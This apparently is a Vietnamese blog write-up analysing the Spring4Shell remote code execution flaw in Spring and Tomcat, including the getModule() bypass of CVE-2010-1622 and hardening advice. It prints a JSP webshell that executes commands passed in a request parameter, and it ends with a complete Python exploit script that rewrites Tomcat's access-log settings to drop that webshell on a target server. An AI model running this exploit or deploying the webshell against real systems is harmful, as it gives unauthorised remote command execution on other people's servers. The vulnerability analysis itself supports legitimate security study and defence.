Phương thức này trả về một instance của `org.apache.catalina.loader.ParallelWebappClassLoader`, một loại class loader được sử dụng trong môi trường Apache Tomcat để tải các web application. ParallelWebappClassLoader có nhiệm vụ tải các class và tài nguyên cần thiết cho web application và quản lý việc nạp chúng vào bộ nhớ.
Chain:
```
Greeting.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.get???()
```
Lặp lại các phương thức và lời gọi hàm trên, cuối cùng mình hình thành được chain như sau:
```
Greeting.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()
```
Ta có thể thấy rằng cuối cùng các tham số pattern tương ứng với AccessLogValve.setPattern(), nghĩa là các thuộc tính pattern của AccessLogValve được đặt là `%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i, đây chính là định dạng nội dung của file access_log`.
Hãy xem lại giá trị của tham số pattern. Ngoài mã Java thông thường, còn có ba đoạn đặc biệt. Bằng cách duyệt qua mã nguồn của AccessLogValve và lớp cha AbstractAccessLogValve, bạn có thể tìm thấy tài liệu liên quan:

Nội dung trong yêu cầu và phản hồi HTTP của AccessLogValve có thể được trích dẫn trực tiếp trong log xuất ra dưới dạng ví dụ `%{param}i`
Kết hợp với nội dung biến trong các header của poc.py, nghĩa là các tham số trong yêu cầu HTTP, chúng ta có thể thấy rằng nếu pwd được đặt là "j", thì nội dung của cmd sẽ được ghi lại trong log bởi AccessLogValve.

Nội dung thực tế của output log có thể được lấy theo AccessLogValveas (được định dạng):
```
<%
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>//
```
Rõ ràng đây là một webshell JSP. Đầu ra webshell này đi đâu? Tên là gì? Nó có thể được truy cập trực tiếp, phân tích cú pháp và thực thi bình thường không? Hãy xem các thông số còn lại tiếp theo
- `suffix`: class.module.classLoader.resources.context.parent.pipeline.first.suffix
Value: .jsp
`suffix` sẽ được thiết lập thành .jsp cho AccessLogValve.suffix, nghĩa là đuôi tên file của access_log.
- `directory`: class.module.classLoader.resources.context.parent.pipeline.first.directory
Value: webapps/ROOT
`` directory ``sẽ được thiết lập thành webapps/ROOT cho AccessLogValve.directory, tức là thư mục xuất file của access_log. Lưu ý đến thư mục webapps/ROOT ở đây, đó là thư mục gốc của ứng dụng Web trong Tomcat. Các ứng dụng Web triển khai vào thư mục này có thể được truy cập trực tiếp qua http://localhost:8080/.
- `prefix`: class.module.classLoader.resources.context.parent.pipeline.first.prefix
Giá trị tham số: tomcatwar
`prefix` sẽ được thiết lập thành tomcatwar cho AccessLogValve.prefix, tức là tiền tố tên file của access_log.
- `fileDateFormat` class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
Value: empty
`fileDateFormat` sẽ được thiết lập thành empty cho AccessLogValve.fileDateFormat, nghĩa là tên file của access_log không chứa thông tin về ngày.
Từ đây ta có thể thấy thông qua các tham số được truyền trong yêu cầu, cơ chế ràng buộc tham số của SpringMVC được sử dụng để kiểm soát các thuộc tính của AccessLogValve trong Tomcat, cho phép ứng dụng web của Tomcat tại thư mục webapps/ROOT xuất ra một "access_log" tùy chỉnh trong thư mục tomcatwar.jsp. Thực tế, "access_log" trên thực tế là một JSP webshell.
Từ java.lang.Module đến org.apache.catalina.loader.ParallelWebappClassLoader, đây là chìa khóa để chuyển giao chuỗi cuộc gọi đến Tomcat và cuối cùng sử dụng AccessLogValve để xuất webshell.

ParallelWebappClassLoader được sử dụng khi ứng dụng web được triển khai vào Tomcat dưới dạng gói war. Ngày nay, hầu hết các công ty sử dụng gói jar thực thi Spring Boot để chạy ứng dụng web. Có thể thấy rằng khi chạy bằng gói jar thực thi Spring Boot, các tham số lồng nhau của classLoader được phân tích thành org.springframework.boot.loader.LaunchedURLClassLoader. Khi xem mã nguồn của nó, không có phương thức getResources()
###### CVE-2010-1622
Liên quan đến source trên, thì đã có một CVE-2010-1622 liên quan đến source này. Tác giả của CVE-2010-1622 đã khai thác source này bằng payload class.classLoader.URLs[0] = X.
Bởi vì trong class java.lang.class có chứa hàm getClassLoader() trả về một ClassLoader object và ClassLoader này có thể tác động được đến array URLs của Tomcat( dùng để load resources). Và việc có thể tác động được đến URLs, attacker có thể thay đổi giá trị URLs[0] thành một địa chỉ URL để thực hiện remote đến một malicious Jar file( do attacker kiểm soát).
Thì để khắc phục lỗi này, Spring đã thực hiện filter( blacklist) trong hàm CachedIntrospectionResults(beanClass)
Nếu ‘beanClass’ == Class.class( java.lang.class) thì pd phải khác ‘classLoader’ và ‘protectionDomain’ và bằng chứng là sau khi CachedIntrospectionResults thực hiện load hết các thuộc tính của java.lang.class thì không có hai thuộc tính ‘classLoader’ và ‘protectionDomain’:

Không trả về có nghĩa là các tham số lồng nhau như class.classLoader... sẽ không hoạt động, tức là chain sẽ trông giống như sau:
```
Foo.getClass()
java.lang.Class.getClassLoader()
BarClassLoader.getBar()
```
......
Điều này hoạt động trong JDK <= 1.8. Tuy nhiên, sau JDK 1.9, để hỗ trợ modularization, Java đã thêm các thuộc tính module vào java.lang.Class và các phương thức getModule() tương ứng vào JDK. Tự nhiên, điều này có thể bypass sự kiểm tra thông qua chain sau:
```
Foo.getClass()
java.lang.Class.getModule() // Bypass
java.lang.Module.getClassLoader()
BarClassLoader.getBar()
......
```
Đây là lý do tại sao điều kiện thứ hai để exploit lỗ hổng này là JDK >= 1.9
Bằng cách đưa mã vào một tệp log và kiểm soát tệp log để được hiểu và thực thi, điều này cũng phổ biến trong các phương pháp kh exploit lỗ hổng. Thông thường, một tệp "log" chứa mã được viết sẵn sẽ được ghi vào máy chủ, và lỗ hổng file inclusion được sử dụng để hiểu và thực thi tệp "log" đó. Việc viết vào tệp "log" có thể được thực hiện thông qua chức năng ghi log của middleware dịch vụ Web chính nó, hoặc thông qua các lỗ hổng như SQL injection và lỗ hổng tải lên tệp.
Không giống như trường hợp trên, lỗ hổng này không đòi hỏi file inclusion. Lý do là middleware dịch vụ Web Java chính nó được viết và chạy trong Java, và ứng dụng Web Java triển khai và chạy trên đó thực sự là một phần của quá trình middleware dịch vụ Web Java. Hai phần này được kết nối trong quá trình thông qua giao diện tiêu chuẩn Servlet API để "giao tiếp" nội bộ. Dựa vào khả năng phản ánh runtime mạnh mẽ của ngôn ngữ Java, nó cung cấp cho kẻ tấn công khả năng tấn công vào middleware dịch vụ Web Java thông qua lỗ hổng ứng dụng Web Java. Nghĩa là, lần này lỗ hổng Spring của ứng dụng Web chính nó đã được sử dụng để sửa đổi nội dung cấu hình access_log của middleware dịch vụ Web Tomcat, và trực tiếp đưa ra tệp "log" có thể thực thi vào thư mục ứng dụng Web.
Trong quá trình phát triển hàng ngày, thư mục có thể được hiểu và thực thi của ứng dụng web nên được kiểm soát nghiêm ngặt là chỉ đọc và không có quyền ghi. Các thư mục có thể được sửa đổi trong quá trình chạy như logs và tệp tải lên cũng nên được đặt riêng biệt và không có quyền thực thi.
Mặc dù lỗ hổng này hiện chỉ tận dụng được Tomcat trong chuỗi cuộc gọi, nhưng miễn là có một chuỗi cuộc gọi phù hợp từ ứng dụng web đến middleware dịch vụ Web, Jetty, Weblogic, Glassfish, vv cũng lý thuyết có thể bị khai thác. Ngoài ra, phương pháp hiện tại của việc viết tệp log cũng có thể xuất hiện trong các tệp khác, chẳng hạn như tệp cấu hình, hoặc thậm chí là trong dạng của memory horses.
PoC:
```
import requests
import argparse
from urllib.parse import urlparse
import time
# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()
post_headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
get_headers = {
"prefix": "<%",
"suffix": "%>//",
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
"c": "Runtime",
}
def run_exploit(url, directory, filename):
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])
# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
# If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Change the tomcat log location variables
print("[*] Modifying Log Configurations")
ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Changes take some time to populate on tomcat
time.sleep(3)
# Send the packet that writes the web shell
ret = requests.get(url, headers=get_headers, verify=False)
print("[*] Response Code: %d" % ret.status_code)
time.sleep(1)
# Reset the pattern to prevent future writes into the file
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
def main():
parser = argparse.ArgumentParser(description='Spring Core RCE')
parser.add_argument('--url', help='target url', required=True)
parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
required=False, default="webapps/ROOT")
file_arg = parser.parse_args().file
dir_arg = parser.parse_args().dir
url_arg = parser.parse_args().url
filename = file_arg.replace(".jsp", "")
if url_arg is None:
print("Must pass an option for --url")
return
try:
run_exploit(url_arg, dir_arg, filename)
print("[+] Exploit completed")
print("[+] Check your target for a shell")
print("[+] File: " + filename + ".jsp")
if dir_arg:
location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
else:
location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
print(f"[+] Shell should be at: {location}?cmd=id")
except Exception as e:
print(e)
if __name__ == '__main__':
main()
```

Tài liệu tham khảo:
https://github.com/reznok/Spring4Shell-POC/blob/master/exploit.py
https://tttang.com/archive/1532/#toc_0x03
https://www.cnblogs.com/szrs/p/15187233.html